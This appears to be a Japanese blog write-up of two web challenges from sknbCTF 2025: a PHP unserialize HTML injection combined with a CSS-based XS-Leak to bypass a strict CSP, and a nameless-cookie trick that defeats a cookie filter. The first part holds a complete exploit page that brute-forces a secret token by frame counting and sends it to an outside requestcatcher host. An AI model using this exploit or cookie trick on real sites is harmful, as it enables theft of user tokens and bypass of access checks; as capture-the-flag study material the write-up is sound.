はまやんはまやんはまやん

hamayanhamayan's blog

sknbCTF 2025 writeup

[web] Yozuri

単純なphpコードで構成されたwebサイトが与えられる。重要なのは以下の部分。

    <?php
    if (isset($_GET["data"])) {
        $data = $_GET["data"];
        if (!is_string($data) | strlen($data) > 4096) {
            echo "Invalid data.";
        }
        else {
          unserialize($data);
        }
    } else {
        echo "No data provided.";
    }?>
    <h3>Token</h3>
    <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>

任意の入力がunserializeできる。botが別途用意されていて任意のwebサイトにアクセスさせることができるので、<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>トークンが取得できれば、それを使ってフラグが手に入る。よって、XSSをするような方針で考えることになる。

どこかで見たな... と思って手元のCTFメモ集を漁ると作問者である新月さんのブログが見つかる。unserializeを使ってXSSするテクニックが紹介されていて、今回はこれが使える。

全く同じO:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}を使えばHTMLタグが差し込めることが分かる。だが、今回はCaddyで厳格なCSPがかかっているのでXSSを達成することはできない。

cat > /tmp/Caddyfile << EOF
:3000 {
  header {
    defer
    Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
  }

  reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
    replace_status 200
  }
}
EOF

これをどうするかが次のステップ。

このwebサイトの構成どこかでみたな...と思って手元のCTFメモ集を漁るとArkさんの似たような状況の記事が見つかる。作問者がこの問題を激オススメしている記憶もあったので、これを組み合わせることで解けた。

詳細はArkさんの記事を見て欲しいが、まとめると、例外出力を悪用することでquirksモードにブラウザを移行させることができ、それによってMIMEタイプのおかしいCSSを読み込むことができ、phpのエラー画面を組み合わせることで任意のCSSを実行させられて、それをいい感じに使って(このパートもだいぶ天才度が高いが)XS-Leakする。

ほとんど上記2つのブログの切り貼りだが、以下のサイトをどこかで立ち上げてbotに踏ませればトークンが手に入り、それを使ってフラグが得られる。

<body>
  <script type="module">
    const BASE_URL = "http://web:3000";
    //const BASE_URL = "http://localhost:3000";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const TOKEN_SIZE = 16;

    let known = "TOKEN_";
    const win = open("");

    const CHARS = [..."0123456789abcdef"];

    const match = async (pattern) => {
      console.log(pattern);
      win.location = "about:blank";
      //await sleep(400);

      const html = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet><div><embed code="x" type=text/html><input pattern=".%2b${pattern}.%2b" value="`;
      const url = `${BASE_URL}/?data=O:8:"PhpToken":1:{s:${html.length-4}:"${html}";}${"&a".repeat(1000)}`;

      win.location = url;
      await sleep(300);
      console.log(win.length);

      return win.length === 0; // frame counting
    };

    console.log("Start attacking...");

    for (let i = 0; i < TOKEN_SIZE; i++) {
      // binary search
      let left = 0;
      let right = CHARS.length;
      while (right - left > 1) {
        const mid = (right + left) >> 1;

        const p = "(" + CHARS.slice(left, mid).join("|") + ")";
        if (await match(known + p)) {
          right = mid;
        } else {
          left = mid;
        }
      }
      known += CHARS[right - 1];
      navigator.sendBeacon("https://[yours].requestcatcher.com/debug", known);
    }

    navigator.sendBeacon("https://[yours].requestcatcher.com/token", known);
  </script>
</body>

[web] Your name

以下のようなCookieを指定して起動するbotが与えられる。

const visit = async (cookie) => {
    const browser = await puppeteer.launch({
        executablePath: "/usr/bin/chromium",
        args: [
            "--no-sandbox",
        ],
    });
    await browser.setCookie({
        domain: "localhost",
        name: "flag",
        value: "false",
    });

    let resp;
    const page = await browser.newPage();
    await page.setDefaultTimeout(20000);

    // for generating document
    await page.goto("http://localhost:3000/flag");

    const whitelist = /^[a-zA-Z0-9=;\/]+$/
    const cookies = cookie.split(";");
    for (const pair of cookies) {
        if (!whitelist.test(pair)) {
            return "invalid cookie detected";
        }
        if (pair.startsWith("flag=")) {
            return "invalid cookie detected";
        }
    }
    // set cookie
    await page.evaluate(c => document.cookie = c, cookie);
    
    const res = await page.goto("http://localhost:3000/flag");
    resp = await res.text();

    await page.close();
    await browser.close();
    return resp;
}

botが開くGET /flagは以下のような実装になっている。

app.get("/flag", (req, res) => {
    const cookieHeader = req.headers.cookie;
    if (!cookieHeader) {
        res.send("no cookies :(");
        return;
    }
    for (const cookie of cookieHeader.split(";")) {
        if (cookie === "flag=true") {
            res.send(process.env.GZCTF_FLAG);
            return;
        }
    }
    res.send("no flag for you");
});

flag=trueであればフラグがもらえるが、bot呼び出し側でflag=から始まるCookieを弾いている。結論から書くと=flag=true;path=/flagでフラグがもらえる。

これはnameless cookieと呼ばれるもので、keyが無しで、値がflag=trueになっている。100%理解正しいか自信が無いが、名前が空の場合は=を付けず送信され(多分ここ)、サーバからはflag=trueと認識され、重複キーのCookieを送ることができる。あとは、pathを付けて優先順位をいい感じに調整して、最終的にこの形になる。